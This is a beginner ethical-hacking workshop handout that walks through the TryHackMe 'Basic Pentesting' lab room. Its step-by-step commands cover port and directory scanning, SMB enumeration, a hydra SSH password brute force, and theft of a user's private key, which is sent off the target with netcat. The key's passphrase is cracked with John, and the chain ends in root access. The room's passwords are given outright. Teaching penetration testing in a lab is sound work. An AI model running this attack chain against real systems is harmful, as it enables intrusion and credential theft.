Beginner's Ethical Hacking Workshop

Pre-Workshop Setup

Please complete these steps before the workshop begins:

1. Navigate to the following URL in your web browser:
   https://tryhackme.com/

2. Click the 'Login' button at the top-right portion of the webpage, then input your login details.

3. Navigate to the Basic Pentesting room at the following URL:
   https://tryhackme.com/room/basicpentestingjt
   (if you are currently in the Room Tutorial, you can navigate away from that page to the URL above)

4. Click the green "Join Room" button located inside the light blue bar near the top of the page.

   NOTE: Please do NOT click on the green 'Start Machine' button or the blue 'Start AttackBox' button on the page until instructed to do so by the workshop's host.

Overview

During the workshop we will perform a guided tutorial of one of the basic modules (called "rooms") hosted on the TryHackMe website. The workshop will consist of

1. Starting up the Testing Virtual Machine (VM) and the AttackBox VM.
2. Using tools on the AttackBox to scan and inspecting the Testing machine's webpage.
3. Compromising the Testing machine after user credentials are captured.
4. Finding a way to upgrade our user status after searching the Testing machine.
5. Capturing and cracking the Admin user's passkey.
6. Logging into the Testing machine as the Admin user and upgrade to the Super User.

When the workshop begins, the class will have roughly one hour to finish these tasks and complete the room.

Using the AttackBox

The AttackBox is a Linux Virtual Machine, and the Desktop view is similar to the Desktop environments of Windows or Macs. For the workshop, you will mainly be working inside of a Terminal window, which is a command-line interface. There is a Desktop shortcut for starting new Terminal windows, and you should start a new Terminal window after dismissing the Welcome screen (by pressing the Enter key).

Using the Terminal

A terminal accepts typed commands as input only and can be intimidating to new users. If, at any time the terminal becomes unresponsive to your commands, you should close the Terminal window and start a new Terminal.

Caution: After starting the Attackbox, there is a button at the bottom of the Attackbox desktop that allows you to shut down the Attackbox. As free users of TryHackMe are only allowed to use the AttackBox once a day for a maximum of 60 minutes, if you shut down the AttackBox, you will no longer be able to participate in the workshop unless you register an additional account at TryHackMe.

Workshop Completion Flow

When the host instructs you to begin, please begin Part 1 of the workshop process and follow along with the host's instructions. If, at any point, you fall behind, you can refer to this document to help catch up to the step which the host is demonstrating.

Part 1

Objective - Room and Machine Setup

Step 1 - Press the Blue ‘Start AttackBox’ Button at the Top of the webpage.

Step 2 - Press the Green ‘Start Machine’ Button Located at the Top Right Corner of the Task 1 Section.

NOTE

After a minute or so, the Testing machine will reveal its IP address to you (e.g. 10.10.128.176). Please take note of this IP address, because we will be using it in several commands during the workshop.

CONTEXT

An IP address is a numeric identifier of computers or other devices on a network, and consists of 4 numbers separated by periods.

Part 2

Objective - Enumerate Open Ports on Target Host

Step 1 - Open a Terminal on your AttackBox by clicking on the 'Terminal' shortcut icon

Step 2 - Take note of the IP address of the VM created by the room

Step 3 - enter the following command in your terminal window, substituting <IP_ADDRESS> with the IP address created by your room:

```
nmap <IP_ADDRESS>
```

CONTEXT

Nmap is a program that is used in computer networking environments to determine which machines on the network are “live” and which services they have open. The notable ports/services we will attack include the following:

80/HTTP – Webpage Service
139 & 445 SMB – Network Filesharing Service
22/SSH – Remote Login Service

Part 3

Objective - Enumerate Web Directories on Target Host

Step 1 - enter the following command in your Terminal window, remembering to substitute the IP of your room's machine in place of <IP_ADDRESS>

```
dirb http://<IP_ADDRESS>
```

Step 2 - Analyze the Output of the Command

CONTEXT

Dirb is a program used by ethical hackers to determine the names of directories which may exist on a website.

Part 4

Objective - Search the Hidden Web Directory for Info

Step 1 - Start an instance of Firefox by clicking on the Desktop shortcut in your AttackBox

Step 2 - Navigate to the hidden directory found by the previous Dirb command at the following URL

```
http://<IP_ADDRESS>/development/
```

Step 3 - Read the files and think about the importance of the information gained from them

Part 5

Objective - Scan the Target's SMB Service

Step 1 - enter the following command into your Terminal window

```
enum4linux <IP_ADDRESS> | grep -i user
```

note: the | key on most keyboards is the shift-key alternative of the \ key.

Step 2 - look through the output of the command and take note of any interesting information (roughly 3 pages up from the bottom of the output)

CONTEXT:

SMB is a networking service which allows computers to share files. SMB can also be scanned for user information.

Part 6

Objective - Gain SSH Login Credentials via Password Attack

Step 1 - enter the following command into your Terminal window:

```
hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://<IP_ADDRESS>
```

Step 2 - after the command finishes, take note of what password is returned

CONTEXT:

Hydra is a password cracking program which can attempt to login to different services by using a specific username and a wordlist of passwords to try. In our case we are using the infamous password list rockyou.txt as a wordlist, which contains over 14 million of the most common passwords.

SSH (Secure SHell) is a network service which allows users to login to machines remotely, requiring the user to supply a password or a passkey file.

Part 7

Objective - Login to Target Host Using Captured Credentials

Step 1 - enter the following command into your Terminal window:

```
ssh jan@<IP_ADDRESS>
```

Step 2 - input the following when prompted:

```
yes
```

Step 3 - enter the password

```
armando
```

Part 8

Objective - Find a Method to Escalate our Privileges on the System

Step 1 - Navigate to the system's /home directory and check its contents:

```
cd /home
ls
```

Step 2 - Enter the user kay's home directory and search for all contents:

```
cd kay
ls -la
```

Step 3 - Enter kay's /.ssh directory and check its contents:

```
cd .ssh
ls -l
```

Step 4 - read the id_rsa file:

```
cat ida_rsa
```

CONTEXT:

The id_rsa file is a digital key that is used to login to the SSH service instead of using a password. However, this id_rsa file is protected by a passphrase that must be entered to use that key.

Part 9

Objective – Create a Copy of Kay's SSH Private Key

Step 1 – Read the id_rsa file and create a new file from its output

```
cat id_rsa > /tmp/id_rsa
```

(This command redirects the output of the id_rsa file and creates a new file called id_rsa in the /tmp directory.)

Step 2 – change directories to the /tmp directory and check that the id_rsa file was created

```
cd /tmp
ls
```

Part 10

Objective – Transfer the id_rsa file to the AttackBox

Step 1 – create a new Terminal window by clicking the Terminal shortcut button again

Step 2 – in the new Terminal window, input the following command to prepare to receive the id_rsa file:

```
netcat -l -p 1234 > id_rsa
```

Step 3 – in the jan@basic2 Terminal window, use Netcat to send the id_rsa file to your AttackBox:

```
nc -w 3 <AttackBox IP_ADDRESS> 1234 < id_rsa
```

(The IP address of the AttackBox can be found at the top of every Terminal window in the black bar. An IP address is always 4 numbers, separated by periods (e.g. 10.10.76.125).

Part 11

Objective - Crack the SSH Key's Passphrase

Step 1 - locate the ssh2john script:

```
locate ssh2john.py
```

Step 2 - run the ssh2john Python script on the id_rsa file and create a new file called rsa4john:

```
python /opt/john/ssh2john.py id_rsa > rsa4john
```

Step 3 - run John the Ripper against the rsa4john file and crack the passphrase:

```
john rsa4john -wordlist=/usr/share/wordlists/rockyou.txt
```

Step 4 - take note of the passphrase returned by John the Ripper

CONTEXT:

In Step 2, we use Python, which is a scripting language/program to modify the id_rsa file and output the new file to a format that is usable by the John the Ripper password cracking program.

John the Ripper is another password cracking program. We use John the Ripper because it is very good at cracking SSH keys. Each password cracking program has their own strengths and weaknesses.

Part 12

Objective - Login to the Target Host as Kay

Step 1 – change the file permissions on the id_rsa file so that it's compatible for use with SSH:

```
chmod 600 id_rsa
```

Step 2 - enter the following command into the Terminal window:

```
ssh -i id_rsa kay@<IP_ADDRESS>
```

enter passphrase: **beeswax**

CONTEXT

In order for the SSH program to accept the use of a private key, the private key file must have specific file permissions. The mode 600 file permission in Linux indicates that the file is only readable or writable by the file's owner.

Part 13

Objective – Become the Super User (root)

Step 1 – Check Kay's /home directory

```
ls -la
```

Step 2 - Read Kay's pass.bak file:

```
cat pass.bak
```

(copy the output of the command by highlighting the text with your mouse, then right clicking and selecting “copy”. You'll need to paste the password in the next step)

Step 3 - Become the root user

```
sudo su
```

Step 4 - Read the Flag file:

```
cd /root
ls
cat flag.txt
```

CONTEXT

Kay is the Administrator user of the system, but they have a separate account than the root user (the super user) because it is bad practice to perform day to day operations as the root user (for safety reasons). In order to switch to the super user account, the administrator must supply their password.

Most Cybersecurity challenges involve the discovery of “flag” files, and reading flag files and capturing their contents is a way to prove that you have completed the challenge.